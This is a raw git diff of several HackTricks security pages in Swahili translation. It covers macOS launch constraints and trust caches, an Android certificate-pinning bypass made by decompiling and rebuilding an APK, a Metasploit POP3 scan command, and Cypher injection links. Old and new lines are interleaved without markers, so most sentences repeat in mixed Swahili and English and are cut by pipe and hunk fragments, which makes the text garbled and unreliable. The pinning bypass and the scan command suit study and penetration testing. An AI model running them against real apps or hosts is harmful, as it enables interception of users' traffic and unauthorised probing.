* `on-authorized-authapfs-volume:` Thamani ya Boolean inayonyesha ikiwa mfumo wa uendeshaji ulipakia executable kutoka kwa kiasi cha APFS kilichothibitishwa, kilichothibitishwa.
|
||||
* `on-authorized-authapfs-volume`: Thamani ya Boolean inayonyesha ikiwa mfumo wa uendeshaji ulipakia executable kutoka kwa kiasi cha APFS kilichothibitishwa, kilichothibitishwa.
|
||||
* Kiasi cha Cryptexes
|
||||
* `on-system-volume:` Thamani ya Boolean inayonyesha ikiwa mfumo wa uendeshaji ulipakia executable kutoka kwa kiasi cha mfumo kilichozinduliwa kwa sasa.
|
||||
* Ndani ya /System...
|
||||
* ...
|
||||
|
||||
Wakati faili ya Apple inaposainiwa, **inahusishwa na jamii ya LC** ndani ya **cache ya imani**.
|
||||
Wakati binary ya Apple imesainiwa in **itapewa LC category** ndani ya **cache ya kuaminika**.
|
||||
|
||||
* **Jamii za LC za iOS 16** zilikuwa [**zimegeuzwa na kudokumentiwa hapa**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* **Jamii za LC za sasa (macOS 14** - Somona) zimegeuzwa na [**maelezo yao yanaweza kupatikana hapa**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
* **iOS 16 LC categories** zilikuwa [**zimegeuzwa na kuandikwa hapa**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* **LC categories za sasa (macOS 14** - Somona) zimegeuzwa na [**maelezo yao yanaweza kupatikana hapa**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
|
||||
Kwa mfano, Jamii 1 ni:
|
||||
Kwa mfano, Kategoria 1 ni:
|
||||
```
|
||||
Category 1:
|
||||
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
||||
Parent Constraint: is-init-proc
|
||||
```
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Lazima iwe kwenye kizio cha Mfumo au Cryptexes.
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Lazima iwe kwenye System au Cryptexes volume.
|
||||
* `launch-type == 1`: Lazima iwe huduma ya mfumo (plist katika LaunchDaemons).
|
||||
* `validation-category == 1`: Programu inayoweza kutekelezwa ya mfumo wa uendeshaji.
|
||||
* `validation-category == 1`: Kifaa cha mfumo wa uendeshaji.
|
||||
* `is-init-proc`: Launchd
|
||||
|
||||
### Kurejesha LC Jamii
|
||||
### Kurejesha LC Categories
|
||||
|
||||
Una habari zaidi [**kuihusu hapa**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), lakini kimsingi, zinatambuliwa katika **AMFI (AppleMobileFileIntegrity)**, kwa hivyo unahitaji kupakua Kituo cha Maendeleo cha Kernel ili kupata **KEXT**. Alama zinazoanza na **`kConstraintCategory`** ndizo zinazovutia. Kwa kuzitoa, utapata mkondo ulioandikwa kwa DER (ASN.1) ambao utahitaji kudekodeza na [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) au maktaba ya python-asn1 na skripti yake ya `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) ambayo itakupa herufi inayoeleweka zaidi.
|
||||
Una maelezo zaidi [**kuhusu hii hapa**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), lakini kimsingi, Zimefafanuliwa katika **AMFI (AppleMobileFileIntegrity)**, hivyo unahitaji kupakua Kernel Development Kit ili kupata **KEXT**. Alama zinazohusishwa na **`kConstraintCategory`** ndizo **za kuvutia**. Ukizitoa utapata mstream wa DER (ASN.1) uliokodishwa ambao utahitaji kufasiri kwa kutumia [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) au maktaba ya python-asn1 na skripti yake ya `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) ambayo itakupa mfuatano wa maneno unaoeleweka zaidi.
|
||||
|
||||
## Vizuizi vya Mazingira
|
||||
## Mipaka ya Mazingira
|
||||
|
||||
Hizi ni Vizuizi vya Mazingira vilivyowekwa katika **programu za watu wengine**. Mwandishi wa programu anaweza kuchagua **ukweli** na **masharti ya mantiki** ya kutumia katika programu yake ili kuzuia ufikiaji kwake.
|
||||
Hizi ni Mipaka ya Uzinduzi zilizowekwa katika **programu za upande wa tatu**. Mwandishi anaweza kuchagua **ukweli** na **operands za kimantiki kutumia** katika programu yake ili kuzuia ufikiaji kwake mwenyewe.
|
||||
|
||||
Inawezekana kuorodhesha Vizuizi vya Mazingira ya programu na:
|
||||
Inawezekana kuhesabu Mipaka ya Mazingira ya programu kwa:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
## Hifadhidata za Uaminifu
|
||||
## Trust Caches
|
||||
|
||||
Katika **macOS** kuna hifadhidata chache za uaminifu:
|
||||
Katika **macOS** kuna baadhi ya hifadhi za kuaminika:
|
||||
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
|
||||
Na katika iOS inaonekana iko katika **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
Na katika iOS inaonekana kama iko katika **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika macOS inayotumia vifaa vya Apple Silicon, ikiwa faili iliyosainiwa na Apple haipo katika hifadhidata ya uaminifu, AMFI itakataa kuiweka.
|
||||
Katika macOS inayotembea kwenye vifaa vya Apple Silicon, ikiwa binary iliyosainiwa na Apple haipo katika hifadhi ya kuaminika, AMFI itakataa kuipakia.
|
||||
{% endhint %}
|
||||
|
||||
### Kuhesabu Hifadhidata za Uaminifu
|
||||
### Enumerating Trust Caches
|
||||
|
||||
Faili za hifadhidata za uaminifu zilizotajwa hapo awali zina muundo wa **IMG4** na **IM4P**, huku IM4P ikiwa sehemu ya mzigo wa muundo wa IMG4.
|
||||
Faili za awali za hifadhi za kuaminika ziko katika muundo **IMG4** na **IM4P**, ambapo IM4P ni sehemu ya mzigo ya muundo wa IMG4.
|
||||
|
||||
Unaweza kutumia [**pyimg4**](https://github.com/m1stadev/PyIMG4) ili kuchambua mzigo wa hifadhidata:
|
||||
Unaweza kutumia [**pyimg4**](https://github.com/m1stadev/PyIMG4) kutoa mzigo wa hifadhidata:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
|
@ -114,9 +115,9 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
(Chaguo lingine linaweza kuwa kutumia zana [**img4tool**](https://github.com/tihmstar/img4tool), ambayo itafanya kazi hata kwenye M1 hata kama toleo ni la zamani na kwa x86\_64 ikiwa utaifunga kwenye maeneo sahihi).
|
||||
(Chaguo kingine kinaweza kuwa kutumia chombo [**img4tool**](https://github.com/tihmstar/img4tool), ambacho kitaendesha hata kwenye M1 hata kama toleo ni la zamani na kwa x86\_64 ikiwa utaweka katika maeneo sahihi).
|
||||
|
||||
Sasa unaweza kutumia zana [**trustcache**](https://github.com/CRKatri/trustcache) ili kupata habari kwa muundo unaoweza kusomwa:
|
||||
Sasa unaweza kutumia chombo [**trustcache**](https://github.com/CRKatri/trustcache) kupata taarifa katika muundo unaoweza kusomeka:
|
||||
```bash
|
||||
# Install
|
||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64
|
||||
|
|
@ -140,7 +141,8 @@ entry count = 969
|
|||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
Hifadhidata ya imani inafuata muundo ufuatao, kwa hivyo **Jamii ya LC ni safu ya 4**
|
||||
The trust cache follows the following structure, so The **LC category is the 4th column**
|
||||
Kikundi cha kuaminika kinafuata muundo ufuatao, hivyo **LC category ni safu ya 4**
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
|
|
@ -150,49 +152,49 @@ uint8_t constraintCategory;
|
|||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
Kisha, unaweza kutumia script kama [**hii**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) ili kuchambua data.
|
||||
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
|
||||
|
||||
Kutoka kwenye data hiyo, unaweza kuangalia Apps na **thamani ya vikwazo vya uzinduzi ya `0`**, ambazo ni zile ambazo hazina vikwazo ([**angalia hapa**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) kwa maelezo ya kila thamani).
|
||||
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
|
||||
|
||||
## Kinga za Mashambulizi
|
||||
## Attack Mitigations
|
||||
|
||||
Vikwazo vya Uzinduzi vingeweza kuzuia mashambulizi kadhaa ya zamani kwa **kufanya uhakika kwamba mchakato hautatekelezwa katika hali zisizotarajiwa:** Kwa mfano kutoka kwenye maeneo yasiyotarajiwa au kuitwa na mchakato wa mzazi usiotarajiwa (ikiwa ni launchd pekee inapaswa kuizindua)
|
||||
Launch Constrains ingekuwa imepunguza mashambulizi kadhaa ya zamani kwa **kuhakikisha kwamba mchakato hautatekelezwa katika hali zisizotarajiwa:** Kwa mfano kutoka maeneo yasiyotarajiwa au kuanzishwa na mchakato wa mzazi usiotarajiwa (ikiwa tu launchd inapaswa kuanzisha).
|
||||
|
||||
Zaidi ya hayo, Vikwazo vya Uzinduzi pia **vinazuia mashambulizi ya kushusha kiwango.**
|
||||
Zaidi ya hayo, Launch Constraints pia **inapunguza mashambulizi ya kudhalilisha.**
|
||||
|
||||
Hata hivyo, havizuizi matumizi mabaya ya XPC, uingizaji wa kanuni za Electron au uingizaji wa dylib bila uthibitisho wa maktaba (isipokuwa kitambulisho cha timu ambazo zinaweza kupakia maktaba kinajulikana).
|
||||
Hata hivyo, hazipunguzi matumizi ya kawaida ya XPC, **Electron** kuingiza msimbo au **kuingiza dylib** bila uthibitisho wa maktaba (isipokuwa vitambulisho vya timu vinavyoweza kupakia maktaba vinajulikana).
|
||||
|
||||
### Kinga ya XPC Daemon
|
||||
### XPC Daemon Protection
|
||||
|
||||
Katika toleo la Sonoma, jambo muhimu ni **mpangilio wa jukumu** la huduma ya XPC daemon. Huduma ya XPC inawajibika kwa ajili yake, tofauti na mteja anayehusika. Hii imeandikwa katika ripoti ya maoni FB13206884. Mpangilio huu unaweza kuonekana kuwa na kasoro, kwani inaruhusu mwingiliano fulani na huduma ya XPC:
|
||||
Katika toleo la Sonoma, jambo muhimu ni **mipangilio ya wajibu** ya huduma ya XPC daemon. Huduma ya XPC inawajibika kwa ajili yake mwenyewe, tofauti na mteja anayounganisha kuwa na wajibu. Hii imeandikwa katika ripoti ya maoni FB13206884. Mpangilio huu unaweza kuonekana kuwa na kasoro, kwani unaruhusu mwingiliano fulani na huduma ya XPC:
|
||||
|
||||
- **Kuzindua Huduma ya XPC**: Ikiwa inachukuliwa kuwa ni kasoro, mpangilio huu haumruhusu kuanzisha huduma ya XPC kupitia kanuni ya mshambuliaji.
|
||||
- **Kuunganisha kwenye Huduma Iliyopo**: Ikiwa huduma ya XPC tayari inaendeshwa (labda imeamilishwa na programu yake ya awali), hakuna vizuizi vya kuunganisha nayo.
|
||||
- **Kuanzisha Huduma ya XPC**: Ikiwa inachukuliwa kuwa hitilafu, mpangilio huu haukuruhusu kuanzisha huduma ya XPC kupitia msimbo wa mshambuliaji.
|
||||
- **Kuungana na Huduma Inayoendelea**: Ikiwa huduma ya XPC tayari inaendesha (inaweza kuwa imeanzishwa na programu yake ya asili), hakuna vizuizi vya kuungana nayo.
|
||||
|
||||
Ingawa kuweka vikwazo kwenye huduma ya XPC kunaweza kuwa na manufaa kwa **kupunguza fursa za mashambulizi**, haitatua wasiwasi kuu. Kuhakikisha usalama wa huduma ya XPC kimsingi kunahitaji **uthibitisho wa mteja anayeunganisha kwa ufanisi**. Hii ndiyo njia pekee ya kuimarisha usalama wa huduma hiyo. Pia, ni muhimu kutambua kuwa mpangilio wa jukumu uliotajwa unatumika kwa sasa, ambao huenda usilingane na muundo uliokusudiwa.
|
||||
Ingawa kutekeleza vizuizi kwenye huduma ya XPC kunaweza kuwa na manufaa kwa **kupunguza dirisha la mashambulizi yanayoweza kutokea**, hakuhusishi wasiwasi wa msingi. Kuhakikisha usalama wa huduma ya XPC kimsingi kunahitaji **kuhakikisha mteja anayounganisha kwa ufanisi**. Hii inabaki kuwa njia pekee ya kuimarisha usalama wa huduma hiyo. Pia, inafaa kutaja kwamba mpangilio wa wajibu ulioelezwa kwa sasa unafanya kazi, ambayo inaweza kutokubaliana na muundo ulio kusudiwa.
|
||||
|
||||
### Electron Protection
|
||||
|
||||
### Kinga ya Electron
|
||||
Hata kama inahitajika kwamba programu lazima **ifunguliwe na LaunchService** (katika vizuizi vya wazazi). Hii inaweza kufikiwa kwa kutumia **`open`** (ambayo inaweza kuweka mabadiliko ya mazingira) au kutumia **Launch Services API** (ambapo mabadiliko ya mazingira yanaweza kuonyeshwa).
|
||||
|
||||
Hata kama inahitajika kwamba programu lazima **izinduliwe na LaunchService** (katika vikwazo vya wazazi). Hii inaweza kufanikishwa kwa kutumia **`open`** (ambayo inaweza kuweka mazingira ya mazingira) au kutumia **API ya Huduma za Uzinduzi** (ambapo mazingira ya mazingira yanaweza kuonyeshwa).
|
||||
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
* [https://youtu.be/f1HA5QhLQ7Y?t=24146](https://youtu.be/f1HA5QhLQ7Y?t=24146)
|
||||
* [https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/)
|
||||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa katika HackTricks**? Au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -21,11 +21,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
***
|
||||
|
||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kukagua trafiki ya wavuti kwa baadhi ya programu tunapaswa ku-decompile programu hiyo na kuongeza mambo machache na kuirekebisha tena.
|
||||
Baadhi ya programu hazipendi vyeti vilivyopakuliwa na mtumiaji, hivyo ili kukagua trafiki ya wavuti kwa baadhi ya programu tunapaswa kweli ku-decompile programu hiyo & kuongeza mambo machache & kuirekebisha tena.
|
||||
|
||||
# Automatic
|
||||
|
||||
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia itazima certificate pinning (ikiwa ipo).
|
||||
Zana [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) itafanya **kiotomatiki** mabadiliko muhimu kwenye programu ili kuanza kukamata maombi na pia itazima pinning ya cheti (ikiwa ipo).
|
||||
|
||||
# Manual
|
||||
|
||||
|
|
@ -33,7 +33,7 @@ Kwanza tunadecompile programu: `apktool d *file-name*.apk`
|
|||
|
||||
|
||||
|
||||
Kisha tunaenda kwenye faili la **Manifest.xml** na kuporomoka hadi kwenye tag ya `<\application android>` na tutaongeza mstari ufuatao ikiwa haupo tayari:
|
||||
Kisha tunaenda kwenye faili ya **Manifest.xml** na kuporomoka hadi kwenye tag ya `<\application android>` na tutaongeza mstari ufuatao ikiwa haupo tayari:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
|
@ -45,7 +45,7 @@ Baada ya kuongeza:
|
|||
|
||||
|
||||
|
||||
Sasa ingia kwenye folda ya **res/xml** na uunde/badilisha faili lililo na jina network\_security\_config.xml lenye maudhui yafuatayo:
|
||||
Sasa ingia kwenye folda ya **res/xml** na tengeneza/badilisha faili inayoitwa network\_security\_config.xml yenye maudhui yafuatayo:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
|
@ -58,28 +58,23 @@ Sasa ingia kwenye folda ya **res/xml** na uunde/badilisha faili lililo na jina n
|
|||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
Kisha, hifadhi faili na kutoka kwenye saraka zote na ujenge tena apk kwa amri ifuatayo: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
Kisha hifadhi faili na kutoka kwenye saraka zote na ujenge tena apk kwa amri ifuatayo: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||
|
||||
|
||||
Hatimaye, unahitaji tu **kusaini programu mpya**. [Soma sehemu hii ya ukurasa Smali - Decompiling/\[Modifying\]/Compiling kujifunza jinsi ya kuisaini](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa katika HackTricks** au **download HackTricks katika PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**PEASS rasmi & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa katika HackTricks**? au unataka kuwa na ufikiaji wa **toleo jipya la PEASS au kupakua HackTricks katika PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**vitu rasmi vya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za hacking kwa kuwasilisha PRs kwenye** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **na** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,30 +1,36 @@
|
|||
# Uvamizi wa Cypher (neo4j)
|
||||
# Cypher Injection (neo4j)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Angalia blogu zifuatazo:
|
||||
|
||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu uvamizi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
